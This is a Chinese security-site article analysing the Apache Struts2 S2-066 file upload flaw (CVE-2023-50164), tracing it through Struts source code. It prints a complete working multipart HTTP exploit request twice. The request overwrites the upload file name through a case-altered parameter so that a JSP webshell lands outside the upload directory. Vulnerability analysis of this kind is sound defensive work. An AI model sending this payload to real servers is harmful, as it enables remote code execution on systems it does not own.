freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

全网最详细的Struts2-066漏洞分析(CVE-2023-50164)
2024-01-25 11:04:09

目录

  • 漏洞描述

  • 影响版本

  • 影响说明

  • 环境搭建

  • Payload

  • 漏洞分析


漏洞描述:攻击者可以操纵上传参数,通过ParametersInterceptor覆写Action类中的文件名属性,导致上传路径和文件名可控,从而上传webshell。

影响版本:Struts 2.0.0 - Struts 2.3.37(停产)、Struts 2.5.0 - Struts 2.5.32、Struts 6.0.0 - Struts 6.3.0

影响说明:文件上传漏洞

环境说明:Struts2(2.5.32)、Tomcat(8.5.57)、IDEA(2022.3)

环境搭建:使用我提供的Struts2-066MV项目,导入自己的IDEA即可

Payload:

POST /fileupload/doUpload.action?uploadFileName=../WEB-INF/fileupload/upload.jsp HTTP/1.1
Host: 192.168.70.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------310829804630115185942627963124
Content-Length: 394
Origin: http://192.168.70.158:8080
Connection: close
Referer: http://192.168.70.158:8080/fileupload/upload.action;jsessionid=7510375391F2A996510D87FB9AA70F68
Cookie: JSESSIONID=7510375391F2A996510D87FB9AA70F68
Upgrade-Insecure-Requests: 1

-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="Upload"; filename="shell.zip"
Content-Type: application/x-zip-compressed

<%Runtime.getRuntime().exec("calc");%>
-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="caption"

12
-----------------------------310829804630115185942627963124--

一、环境介绍

根据Struts2官方的漏洞详情,可以看到漏洞的影响范围,从中选一个版本即可,此次分析使用的是2.5.32版本,所以在GitHub上下载2.5.32的源码,找到里面的showcase文件夹,以MAVEN项目类型导入IDEA

2.5.32的源码结构

导入后在struts.xml中定义以下内容,这段内容默认是struts-default.xml文件中定义的,但默认的配置禁止OGNL调用java.io包中的类,但文件上传时Struts2会验证上传文件的内容的长度,所以必须要使用java.io包

<constant name="struts.excludedPackageNames"
              value="
                ognl.,
                java.net.,
                java.nio.,
                javax.,
                freemarker.core.,
                freemarker.template.,
                freemarker.ext.jsp.,
                freemarker.ext.rhino.,
                sun.misc.,
                sun.reflect.,
                javassist.,
                org.apache.velocity.,
                org.objectweb.asm.,
                org.springframework.context.,
                com.opensymphony.xwork2.inject.,
                com.opensymphony.xwork2.ognl.,
                com.opensymphony.xwork2.security.,
                com.opensymphony.xwork2.util.,
                org.apache.tomcat.,
                org.apache.catalina.core.,
                com.ibm.websphere.,
                org.apache.geronimo.,
                org.apache.openejb.,
                org.apache.tomee.,
                org.eclipse.jetty.,
                org.mortbay.jetty.,
                org.glassfish.,
                org.jboss.as.,
                org.wildfly.,
                weblogic.," />

否则会报以下错误

package [package java.io, Java Platform API Specification, version 1.8] of member [public long java.io.File.length()] are excluded!

找到**org.apache.struts2.showcase.fileupload.FileUploadAction**类,修改upload方法为如下内容

public String upload() throws Exception {
		String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
		String realPath = path + File.separator + fileName1;
		System.out.println(realPath);
		try {
			  FileUtils.copyFile(upload, new File(realPath));
		} catch (Exception e) {
			  e.printStackTrace();
		}
		return SUCCESS;
}

需要一提的是该类的属性,4个属性分别对应的是HTTP请求中的属性

// HTTP中的ContentType
private String contentType;
// HTTP中的上传文件对象
private File upload;
// HTTP上传的文件名
private String fileName;
// HTTP中的caption描述
private String caption;
public String getUploadFileName() {
		return fileName;
}

public void setUploadFileName(String fileName) {
		this.fileName = fileName;
}
public String getUploadContentType() {
		return contentType;
}

public void setUploadContentType(String contentType) {
		this.contentType = contentType;
}


// since we are using <s:file name="upload" ... /> the File itself will be
// obtained through getter/setter of <file-tag-name>
public File getUpload() {
		return upload;
}

public void setUpload(File upload) {
		this.upload = upload;
}


public String getCaption() {
		return caption;
}

public void setCaption(String caption) {
		this.caption = caption;
}

二、基础知识

要分析066漏洞必须要了解Struts2的几个基础知识:

1、Struts2是如何将HTTP参数赋值给Action的?可以参考我之前写的Struts2基本原理的部分,Struts2通过ParametersInterceptor类,使用OGNL表达式将HTTP中的参数赋值给Action的属性,调用的是Action的setXXX方法。

在ParametersInterceptor的OGNL表达式执行的位置断点,可以看到**acceptableParameters**中的Key与Action中的属性的set方法是对应的

ParametersInterceptor通过OGNL表达式给Action赋值

2、Struts2是如何接收HTTP请求参数的?ParametersInterceptor类的**acceptableParameters来自ActionContext中KEY为com.opensymphony.xwork2.ActionContext.parameters**的值,如下图所示

ActionContext中的文件上传参数

同时HTTP中的Get型的参数也会保存在ActionContext的**com.opensymphony.xwork2.ActionContext.parameters**中,总结来说所有GET和POST的参数都保存在同一个MAP中,实际是HttpParamters。

3、Struts2是如何实现文件上传的?Struts2有个类是FileUploadInterceptor,该类会在ParametersInterceptor前执行,主要用于处理文件上传的业务,核心代码如下

public String intercept(ActionInvocation invocation) throws Exception {
    ActionContext ac = invocation.getInvocationContext();

    HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);
    // 如果不是上传文件请求,则直接调用下一个interceptor
    if (!(request instanceof MultiPartRequestWrapper)) {
        if (LOG.isDebugEnabled()) {
            ActionProxy proxy = invocation.getProxy();
            LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
        }

        return invocation.invoke();
    }

    ValidationAware validation = null;

    Object action = invocation.getAction();

    if (action instanceof ValidationAware) {
        validation = (ValidationAware) action;
    }

    MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;
    // 处理错误信息
    if (multiWrapper.hasErrors() && validation != null) {
        TextProvider textProvider = getTextProvider(action);
        for (LocalizedMessage error : multiWrapper.getErrors()) {
            String errorMessage;
            if (textProvider.hasKey(error.getTextKey())) {
                errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
            } else {
                errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
            }
            validation.addActionError(errorMessage);
        }
    }

    // 获取JSP中file组件的name,也就是upload,<s:file name="upload" label="File"/>
    Enumeration fileParameterNames = multiWrapper.getFileParameterNames();
    while (fileParameterNames != null && fileParameterNames.hasMoreElements()) {
        // 获取上传的file对象框的name
        String inputName = (String) fileParameterNames.nextElement();

        // get the content type
        String[] contentType = multiWrapper.getContentTypes(inputName);

        if (isNonEmpty(contentType)) {
            // 获取上传文件的文件名,getFileNames方法会调用getCanonicalName方法过滤/\特殊字符
            String[] fileName = multiWrapper.getFileNames(inputName);

            if (isNonEmpty(fileName)) {
                // 获取上传的文件对象,如果没有则创建一个,只不过是一个tmp后缀的临时文件
                // 这里就是创建临时文件的地方
                UploadedFile[] files = multiWrapper.getFiles(inputName);
                if (files != null && files.length > 0) {
                    List<UploadedFile> acceptedFiles = new ArrayList<>(files.length);
                    List<String> acceptedContentTypes = new ArrayList<>(files.length);
                    List<String> acceptedFileNames = new ArrayList<>(files.length);
                    // 组装属性名,和Action中的相同,这就是为什么Action中的属性必须是固定的原因
                    // 这里可控的就是inputName,也就是JSP中file对象框的name
                    String contentTypeName = inputName + "ContentType";
                    String fileNameName = inputName + "FileName";

                    for (int index = 0; index < files.length; index++) {
                        if (acceptFile(action, files[index], fileName[index], contentType[index], inputName, validation)) {
                            acceptedFiles.add(files[index]);
                            acceptedContentTypes.add(contentType[index]);
                            acceptedFileNames.add(fileName[index]);
                        }
                    }

                    if (!acceptedFiles.isEmpty()) {
                        Map<String, Parameter> newParams = new HashMap<>();
                        newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
                        newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
                        newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
                        // 在ActionContext中获取com.opensymphony.xwork2.ActionContext.parameters对应的HttpParameters对象
                        // 调用HttpParameters的appendAll方法,将上面的3个参数保存起来
                        // 这里是首次处理上传参数,将其保存到HttpParameters中
                        ac.getParameters().appendAll(newParams);
                    }
                }
            } else {
                if (LOG.isWarnEnabled()) {
                    LOG.warn(getTextMessage(action, "struts.messages.invalid.file", new String[]{inputName}));
                }
            }
        } else {
            if (LOG.isWarnEnabled()) {
                LOG.warn(getTextMessage(action, "struts.messages.invalid.content.type", new String[]{inputName}));
            }
        }
    }

    // invoke action
    return invocation.invoke();
}

前面提到了在获取上传的文件名时会过滤/\等参数,所以当filename为../shell.zip时,是返回的shell.zip

-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="Upload"; filename="shell.zip"
Content-Type: application/x-zip-compressed

<%Runtime.getRuntime().exec("calc");%>
---------------------------前面时候HTTP请求--------------------------
protected String getCanonicalName(final String originalFileName) {
    String fileName = originalFileName;

    int forwardSlash = fileName.lastIndexOf('/');
    int backwardSlash = fileName.lastIndexOf('\\');
    if (forwardSlash != -1 && forwardSlash > backwardSlash) {
        fileName = fileName.substring(forwardSlash + 1);
    } else {
        fileName = fileName.substring(backwardSlash + 1);
    }
    return fileName;
}

HttpParameters的appendAll方法如下,调用的时候Map的putAll方法

public HttpParameters appendAll(Map<String, Parameter> newParams) {
    parameters.putAll(newParams);
    return this;
}

经过FileUploadInterceptor的这段ac.getParameters().appendAll(newParams);处理完成后,现在HttpParameters中保存了上传请求的所有数据(HttpParameters保存在了ActionContext中),包括临时文件的File对象。接下来通过ParametersInterceptor的OGNL表达式赋值给Action对象的各个属性值,所以在Action中的upload方法就很好理解了。

Struts2通过OGNL调用setUpload方法将临时的File对象赋值给Action

public void setUpload(File upload) {
		this.upload = upload;
}

OGNL给Action赋值

再看一遍Action的upload方法,这里的copyFile方法拷贝的就是临时的File文件对象,由FileUploadInterceptor.intercept()方法中的multiWrapper.getFiles(inputName);创建

public String upload() throws Exception {
		String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
		String realPath = path + File.separator + fileName;
		System.out.println(realPath);
		try {
			  FileUtils.copyFile(upload, new File(realPath));
		} catch (Exception e) {
			  e.printStackTrace();
		}
		return SUCCESS;
}

以上三点就是要分析Struts2-066漏洞的基础知识

三、漏洞分析

Struts2官方是这样描述的

An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.

攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能会导致上传可用于执行远程代码执行的恶意文件。

补丁可以在github中查看,点击这里

HttpParameters补丁

appendAll方法的变化如下

appendAll方法的变化

remove方法的变化如下

remove方法的变化

在get、contains等方法中也有变化,但核心的变化是将key统一转为小写处理

回忆下HttpParameters类的作用,是一个Map,用于存储上传请求的参数,包括name、file、contentType、caption,看来漏洞出现在Map的Key的大小写问题上,通过官方给出的测试用例上也可以看出来。假设下现在有如下代码,输出的是什么?

Map map = new HashMap<>();
map.put("Mars","Mars");
map.put("mars","mars");
System.out.println(map.get("Mars"));
System.out.println(map.get("mars"));
----------------------输出内容为---------------------
Mars
mars

可以看出是大小写敏感的,在ParametersInterceptor中通过OGNL表达式给Action赋值时,acceptableParameters变量保存了从ActionContext取出的符合规则的HTTP参数,而acceptableParameters是一个TreeMap类型,在Struts2-003、Struts2-009漏洞中有利用到TreeMap的特性(会根据Key的ASCII值的大小升序排序)

保存参数的Map是TreeMap

所以TreeMap结合Map的特性,可以总结如下:

  1. 可以允许相同字符但大小写不同的KEY保存在Map中

  2. 根据Key的ASCII值的大小升序排序

所以结合漏洞描述和补丁信息,大概可以猜到和key的大小写有关系,而且可以控制上传文件的路径,因为有目录穿越,那么可以在文件名上加入../来尝试目录穿越,但上传文件的参数是会被getCanonicalName方法过滤的。还可以通过HTTP URL参数传递,直接通过OGNL表达式修改Action中fileName属性(对应的set方法为setUploadFileName,在Action中该方法的名字是固定的,不可修改),例如

POST /fileupload/doUpload.action?uploadFileName=../mars.jsp

uploadFileName的值并未发生改变,为什么?

uploadFileName的值并未发生改变

在前面的分析中,acceptableParameters的值来自ActionContext的**com.opensymphony.xwork2.ActionContext.parameters**,也就是HttpParameters,而该类的值是在FileUploadInterceptor中赋值的,我们断点看下

ActionContext中uploadFileName的值

可以发现在FileUploadInterceptor中的ActionContext中的uploadFileName的值还是../mars.jsp,但因为FileUploadInterceptor最后用上传文件参数将本来ActionContext中URL参数覆盖了

将ActionContext中的HttpParameters覆盖

uploadContentType、uploadFileName、upload这三个key是动态生成的

动态拼接了key

而upload是JSP中file控件的name,在HTTP请求中可控,利用这个特性,可以将upload的首字母变成大写,从而让URL中的uploadFileName保存在HttpParameters中,同时存在uploadFileName与UploadFileName,那么payload就为了如下内容

POST /fileupload/doUpload.action?uploadFileName=../mars.jsp HTTP/1.1
Host: 192.168.70.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------310829804630115185942627963124
Content-Length: 394
Origin: http://192.168.70.158:8080
Connection: close
Referer: http://192.168.70.158:8080/fileupload/upload.action;jsessionid=7510375391F2A996510D87FB9AA70F68
Cookie: JSESSIONID=7510375391F2A996510D87FB9AA70F68
Upgrade-Insecure-Requests: 1

-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="Upload"; filename="shell.zip"
Content-Type: application/x-zip-compressed

<%Runtime.getRuntime().exec("calc");%>
-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="caption"

12
-----------------------------310829804630115185942627963124--

断点查看acceptableParameters变量的值,发现和预期的一致,这样会使得uploadFileName赋值两次,一次是正常的文件名shell.zip,第二次是../mars.jsp,成功覆写文件名,从而实现文件上传shell

同时存在uploadFileName与UploadFileName

shell在IDEA的target目录

shell的目录

漏洞分析到这里就结束了,但有个细节不知道大家有没有注意,OGNL在给Action赋值时,是通过给出的对象属性,找到对应的set方法赋值的,例如下图

Ognl给Action赋值

属性是uploadFileName,那么就应该找setUploadFileName,但刚才已经将uploadFileName修改为UploadFileName了,为什么没有出现错误呢?

同时存在uploadFileName与UploadFileName

这就要分析Ognl是如何找到set方法的了,通过跟进代码发现在OgnlRuntime中有判断是否存在Upload的set方法

判断target中是否有Upload属性的set方法

最终追踪到capitalizeBeanPropertyName方法,调用栈如下

Ognl根据属性找set方法的调用栈

capitalizeBeanPropertyName代码如下,可以看到无论进来的propertyName什么样,返回的都是大写字母开头,例如

a-->A

abc-->Abc

所以前面的属性中到底是uploadFileName还是UploadFileName,并不重要

private static String capitalizeBeanPropertyName(String propertyName) {
    // 如果属性的长度为1,则直接转为大写返回
    if (propertyName.length() == 1) {
        return propertyName.toUpperCase();
    }
    // 如果以get开始,()结束
    if (propertyName.startsWith(GET_PREFIX) && propertyName.endsWith("()")) {
        // 如果第4位是大写,直接返回,这说明符合getXxx()的格式
        if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {
            return propertyName;
        }
    }
    // 和get类似,不多说了,核心就是满足setXxx这样驼峰命名规范
    if (propertyName.startsWith(SET_PREFIX) && propertyName.endsWith(")")) {
        if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {
            return propertyName;
        }
    }
    // 和get/set类似
    if (propertyName.startsWith(IS_PREFIX) && propertyName.endsWith("()")) {
        if (Character.isUpperCase(propertyName.substring(2,3).charAt(0))) {
            return propertyName;
        }
    }
    // 取第一个字符
    char first = propertyName.charAt(0);
    // 取第二个字符
    char second = propertyName.charAt(1);
    // 如果第一个字符是小写,并且第二个字符是大写,则直接返回
    if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
        return propertyName;
    } else {
        // 变成数组
        char[] chars = propertyName.toCharArray();
        // 将第一个字符变为大写
        chars[0] = Character.toUpperCase(chars[0]);
        return new String(chars);
    }
}

以上就是漏洞分析的全部内容。

# 渗透测试 # web安全 # struts2漏洞分析 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录